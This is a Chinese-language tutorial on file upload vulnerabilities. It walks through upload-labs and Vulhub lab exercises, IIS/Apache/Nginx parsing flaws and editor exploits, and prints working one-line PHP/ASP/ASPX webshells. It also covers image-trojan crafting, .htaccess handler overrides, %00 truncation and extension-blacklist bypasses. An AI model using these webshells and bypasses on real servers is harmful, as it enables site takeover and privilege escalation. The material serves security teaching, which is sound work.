OWASP TOP 10
文件上传漏洞
一、概述
1. 漏洞简述
文件上传是Web应用的必备功能之一,比如上传头像显示个性化、上传附件 共享文件、上传脚本、更新网站等。如果服务器配置不当或者没有进行足够的过滤,Web用户就可以上传任意文件,包括恶意脚本文件、exe程序等,这就造成了文件上传漏洞。
2. 漏洞成因
-
服务器配置不当会导致任意文件上传;
-
Web应用开放了文件上传功能,并且对上传的文件没有进行足够的限制;
-
程序开发部署时候,没有考虑到系统特性和验证和过滤不严格而导致限制被绕过,上传任意文件。
3. 漏洞危害
-
上传漏洞最直接的威胁就是上传任意文件,包括恶意脚本、程序等;
-
如果Web服务器所保存,上传文件的可写目录具有执行权限,那么就可以直接上传后门文件,导致网站沦陷;
-
如果攻击者通过其他漏洞进行提权操作,拿到系统管理权限,那么直接导致服务器沦陷。同服务器下的其他网站无一幸免,均会被攻击者控制。
-
通过上传漏洞获得的网站后门即WebShell。
二、WebShell
1. 概述
Shell:在计算机科学中,Shell 俗称壳(用来区别于“核"),是指“为使用者提供操作界面”的软件(命令解释器)。 类似于windows系统给的cmd.exe或者linux下bash等,虽然这些系统上的命令解释器不止一种。
WebShell:webshell就是以asp、php、jsp或者aspx等网页文件形式存在的一种代码执行环境,由于webshell其大多是以动态脚本的形式出现,所以也将其称做为一种网页后门;它也是一个命令解释器,不过是以Web方式(HTTP 协议)通信(传递命令消息),继承了Web用户的权限。
WebShell本质上是在服务器端可运行的那些脚本文件,也就是说WebShell接收来自于Web用户的命令,然后再服务器端执行。
hacker在入侵了一个网站后,通常会将后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。
顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作权限。webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。
2. 大马
WebShell也可以是大马,也是网站木马。有一类WebShell之所以叫大马,是因为与小马(一句话木马)区分开,并且代码比较大,但是功能比较丰富。同样,大马有很多种脚本格式,其功能基本相同。每个团队都有自己的定制大马。
以下是一个简单的php大马的例子。
输入密码(密码一般直接写在木马文件中),在大马中我们可以进行文件管理,执行系统命令等,还有一些其他定制功能。
3. 小马
3.1 概述
小马就是一句话木马,因为其代码量比较小,就是一句简单的代码。
一句话木马示例:
# php一句话木马
<?php @eval($_POST[value]); ?>
# asp一句话木马
<%eval request ("value")%>
<% execute(request("value")) %>
# aspx一句话木马
<%@ Page Language="Jscript" %> <% eval(Request.Item["value"]) %>
一句话木马短小精悍,功能强大,但是需要配合中国菜刀或者中国蚁剑客户端使用,中国菜刀是一句话木马的管理器,也是命令
操作接口。中国菜刀在连接一句话木马的时候需要填写密码(实际上就是变量名)。
中国菜刀与一句话木马配合实现了三大基本功能:
-
文件管理
在中国菜刀页面继承Web用户权限可以实现文件管理,包括文件查看、上传、下载、修改、删除甚至运行exe程序等。 -
虚拟终端
在中国菜刀下可以获得类似于cmd和bash的命令行接口,可以执行相关命令。 -
数据库管理
我们可以使用中国菜刀进行数据库管理,此时需要知道连接数据库的账密。
3.2 一句话木马+中国蚁剑
<?php
@eval($_REQUEST[777]);
?>
- 创建连接
- 文件管理
- 虚拟终端
- 数据库管理
三、文件上传漏洞
1. GetShell
GetShell就是获取Web的过程和结果。当然任意文件上传是GetShell的主要方式,但并不是唯一途径。
2. 利用的条件
-
Web服务器要开启文件上传功能,并且上传api (接口) 对外 “开放” (Web 用户可以访问) ;
-
Web用户对目标目录具有可写权限,甚至具有执行权限,一般情况下,Web目录都有执行权限;
-
要想完美利用文件上传漏洞,就是上传的文件可以执行,也就是Web
容器可以解析我们上传的脚本,无论脚本以什么样的形式存在; -
无视以上条件的情况就是服务器配置不当,开启了PUT方法(允许向服务器直接写入文件)。
telnet模拟http请求
Apache开启PUT方法,telnet模拟http请求上传文件。
查看HTTP开启的方法:默认没有开启
telnet 服务器IP:80
OPTIONS / HTTP/1.1
HOST:服务器IP
开启服务器PUT方法
- 在服务器的httpd.conf配置文件中,开启模块并启用模块
LoadModule dav_module modules/mod_dav.so
LoadModule dav_fs_module modules/mod_dav_fs.so
<Directory />
Options +Indexes +FollowSymLinks +ExecCGI
AllowOverride All
Order allow,deny
Allow from all
Require all granted
DAV On
</Directory>
- 开启文件锁
在httpd.conf配置文件的第一行添加:DavLockDB apache的www路径\DavLock
,并在文件目录下新建DavLock文件。 - 上传文件
PUT /文件名 HTTP/1.1
HOST:服务器IP
Content-Length:文件内容的长度
文件内容
3. 防御 | 绕过 | 利用
文件上传的防御、绕过、利用,总是分不开的。攻防交替。
黑白名单策略
黑白名单是最常用的安全策略之一。在计算机安全中,黑白名单类似于一个列表,列表中写了一些条件或规则,如果“客体”在黑名单中,一律“禁止”,如果“客体"在白名单中,一律“允许”。类似于手机号码的黑白名单。
如Chrome浏览器的黑白名单策略。
政策 说明
URLBlacklist ●禁止用户访问您已阻止的网址。不过,用户可以访问黑名单之外的所有网址。
(黑名单) ●不设置此政策:用户将可以自由访问所有网址。
URLWhitelist ●将此政策与URLBlacklist政策搭配使用,可将特定网址设为黑名单的例外网址并允许用户访问。
(白名单) ●白名单的优先级高于黑名单。您至少要在黑名单中添加一个条目,才能正常使用此政策。
●不设置此政策:网址黑名单将没有例外网址。
4. upload-labs靶场
upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场,包括常见的文件上传漏洞。
-
该靶场对php版本等环境有要求,所以需要使用它提供的phpstudy;
5. 前端限制与绕过
有些Web应用的文件上传功能,仅在前端用JS脚本做了检测,如检测文件后缀名等,前端JS脚本检测的安全防御是十分薄弱的,可以轻松的绕过。
以upload-labs第一关为例。
上传一个php文件发现警告:
方法一:审查元素,发现上传按钮在一个form表单中,有一个事件用来检查文件后缀名,由于js代码在浏览器运行,所以我们可以删除事件,成功上传文件。
方法二:首先修改上传的文件后缀名符合白名单策略(通过前端检测),再用Burp挂代理抓包,然后再将文件后缀名修改回来,Forword即可。
bp抓包结果:
forword后文件成功上传,复制图片的连接已经是我们修改完后的php文件了。
6. 服务端检测
6.1 检测MIME类型
MIME (Multipurpose Internet Mail Extensions)是描述消息内容类型的因特网标准。MIME消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。
常见的MIME类型
文件扩展名 Mime-Type
.js application/x-javascript
.html text/html
.jpg image/jpeg
.png image/png
.pdf application/pdf
在HTTP协议中,使用Content-Type字段表示文件的MIME类型。当我们上传文件的时候,抓到HTTP数据包。在服务器端会检测Content-Type类型。
以upload-labs第二关为例。
方法:由于服务器在检测Content-Type类型的时候,取得的变量来自于用户,所以可以用Burp抓包,修改这个字段,使其合法,即可绕过限制上传任意文件。
6.2 检测文件内容类型
除了检测上传文件的Content-Type类型,为了保持安全性,服务器端还会检测文件内容。PHP中有一个函数 getimagesize(),这个函数本意是检查图片的大小,但是在检查之前,该函数会判断目标文件是否是一张图片。 因此,可以用该函数来检测文件的内容。
以upload-load第14关为例。
由于服务端存在检测文件的内容过滤,所以当我们修改Content-Type或修改文件名都上传失败;此时需要制作图片木马。
制作图片木马方法1:在文件首行添加GIF89a
GIF89a
<?php
phpinfo();
?>
上传后会为我们生成随机的文件名,类似于:8420201216182057.gif
这种情况只能成功上传文件但不能运行里面的php代码,但是还是存在文件上传漏洞的!
制作图片木马方法2:文件合并
准备一个图片文件hello.jpg和木马文件info.php,将两个文件通过copy命令合并为新的文件(new_info.jpg)。
copy hello.jpg/b+info.php/a new_info.jpg
参数/b指定以二进制格式复制、合并文件(图片),参数/a指定以ASCII格式复制
但这种方法可能会受到图片源码的影响,导致木马代码无法成功解析。
制作图片木马方法3:利用十六进制编辑器
所有的 jpg 图片的文件头部都是相同的,png和gif图片也是一样。(文件幻数)
# gif
47 49 46 38 39 61 F1 00 2C 01 F7 00 00 64 32 33
# jpg
FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 01 2C
# png
89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
选择一个复制上述文件的头部内容,粘贴到木马文件的头部,并用编辑器将头部内容转为ASCII码,将文件后缀名改为对应的图片文件名。
成功上传:
我们使用靶场提供的文件包含漏洞运行刚才上传的木马文件:
6.3 检测文件后缀名
服务器端在检测文件名的时候,依然会采用黑白名单策略。
黑名单策略:不允许上传 php | asp |aspx l jsp 等可执行脚本的文件;
白名单策略:只允许上传 jpg l gif | png | doc | rar等格式的文件。
黑名单
代码中 $deny_ext
数据就是一个黑名单,数组元素就是不允许上传的类型。
对于黑名单,我们可以寻找其他可允许上传的类型来绕过限制。
如以执行脚本后缀名,如:
.php .php2 .php3 .php5. phtml
.asp .aspx .ascx .ashx .asa .cer
.jsp .jspx
白名单
对于后缀名白名单策略,我们只能上传在白名单内的文件后缀名。
7. %00截断
- 简述原理
php的文件系统函数:move_uploaded_file(),底层是c语言实现的,在读取字符串时如果读到null就认为结束(ascii的null编码为16进制就是00,%00为url编码)
www/upload/info.php
www/upload/info.php%00info.jpg => www/upload/info.php
- 以upload-labs第11关为例
当我们将木马文件后缀名修改为图片后,成功上传,此时我们发现url栏的变化:有一个参数save_path(文件上传的路径)
bp抓包,我们测试在上传路径添加test.php,结果test.php被当作目录处理保存:
加入%00截断:成功上传
访问该路径:访问不到
访问%00前面的路径:成功访问
8. .htaccess攻击
.htaccess是Apache服务器的分布式配置文件,该配置文件会覆盖Apache服务器的全局配置,作用域是当前目录及其子目录。
apache配置文件开启下图配置就允许.htaccess覆盖生效:
如果一个Web应用允许上传.htaccess文件,那就意味着攻击者可以更改Apache的配置,这是十分危险。所以它的攻击想象空间非常大。
8.1 将图片文件当作PHP文件解析
将以下代码写入文件,并保存成.htaccess,放到测试目录下
AddType application/x-httpd-php .jpg
这里也可以写成 .png就是将png文件当作php解析。
在同一目录下创建一个文件:info.jpg
<?php
phpinfo();
?>
成功运行phpinfo:
8.2 文件名中包含php关键字
当文件名中包含关键字 .php
,并且 .htaccess文件内容如下,就会执行含有php关键字的文件。
AddHandler php5-script php
示例:新建一个info.php.jpg文件
< ?php
phpinfo();
?>
成功运行:
8.3 匹配文件名
比如匹配文件名 hello
,.htaccess文件内容如下:
<FilesMatch "hello">
SetHandler application/x-httpd-php
</FilesMatch>
只要文件名中包含hello,就会把该文件当作php执行该文件。
示例:文件名为 %dhajs$hello.php.jpg
以upload-labs第四关为例:先上传 .htaccess文件再上传一个包含关键字的“合法文件”。即可绕过成功实现漏洞。
四、web容器解析漏洞
Web容器解析漏洞,就是Web容器在解析脚本出现的"bug"。
1. apache解析漏洞
上传一个名为:info.php.xxx.xx.x
的文件。
以upload-labs第四关为例。
2. IIS6.0解析漏洞
1. 漏洞一
将文件命名为 xxx.asp;xxx.jpg
之类的文件,会执行asp脚本。
示例:hello.asp;aaa.jpg
,看上去是一个图片文件;
<%time()%>
运行结果:成功解析为asp脚本文件
2. 漏洞二
创建一个名为 xxx.asp
的文件夹,访问该文件夹里的任意文件会被当作asp脚本执行。
3. PHP CGI解析漏洞
- CGI
公共网关接口(Common Gateway Interface,CGI)是Web 服务器运行时外部程序的规范,按CGI 编写的程序可以扩展服务器功能。CGI 应用程序能与浏览器进行交互,还可通过数据API与数据库服务器等外部数据源进行通信,从数据库服务器中获取数据。格式化为HTML文档后,发送给浏览器,也可以将从浏览器获得的数据放到数据库中。几乎所有服务器都支持CGI。
3.1 IIS + PHP
实验环境:IIS 7.0/7.5 + PHP
- 搭建IIS服务器,添加模块映射。
- 编辑CGI应用程序
- 在www目录下创建文件 info.png,内容为
<?php
phpinfo();
?>
- 访问该文件路径接味加上/.php即可触发漏洞
- 防御该漏洞
3.2 Nginx 解析漏洞复现
- 在 Vulhub 靶场上拉取漏洞镜像:
https://vulhub.org/#/environments/nginx/nginx_parsing_vulnerability
sudo docker-compose up d
测试:访问IP地址/uploadfiles/nginx.png
加上/.php:
- 注意
IIS和Nginx中都存在这样的漏洞,所以该漏洞和IIS、Nginx并无关,而是和php的一个配置有关:
5. Nginx 文件名逻辑漏洞
- 拉取vulhub上的镜像
https://vulhub.org/#/environments/nginx/CVE-2013-4547
- 访问http://your-ip:8080/,上传文件:
- bp抓包并修改文件名后缀为
.png
,注意最后的空格,文件成功上传:
- 在发送成功的url加上00截断和.php,触发漏洞:
五、文件编辑器漏洞
1. eweb editor漏洞
eWebEditor是基于浏览器的、所见即所得的在线HTML编辑器。
搭建web服务器:
成功登录后台修改上传文件的白名单:
在它可允许上传的图片类型后添加脚本文件类型:
2. FCK editor漏洞
实验环境:IIS + liangjing企业后台管理系统(该系统使用的是FCK编辑器)
- 上传我们的大马脚本,bp抓包,发现上传失败。
- 修改文件名后缀为jpg,结果发现将我们的.asp修改为_asp。
- 发现网站服务器为 IIS 6.0 ,想到IIS 6.0的两个解析漏洞。
漏洞一:失败
漏洞二:还是会将 . 解析为 _,也失败了
- 我们在创建文件夹的时候拦截数据包:
- 修改文件路径
成功创建了1.asp文件夹,此时就可以使用 IIS 6.0 解析漏洞了
- 我们在1.asp文件夹下上传大马脚本文件,使用bp拦截修改文件后缀名
成功上传,查看上传文件:
发现大马登录出错,用小马拉取大马:将asp的一句话木马文件上传到1.asp目录下(bp抓包改后缀即可):
<%eval request ("cmd")%>
- 使用蚁剑链接一句话木马
- 使用蚁剑上传大马文件(避开1.asp文件夹),成功获取大马
- 获取shell
虚拟终端查看权限:为network service
上传提权工具,即可拿到system权限。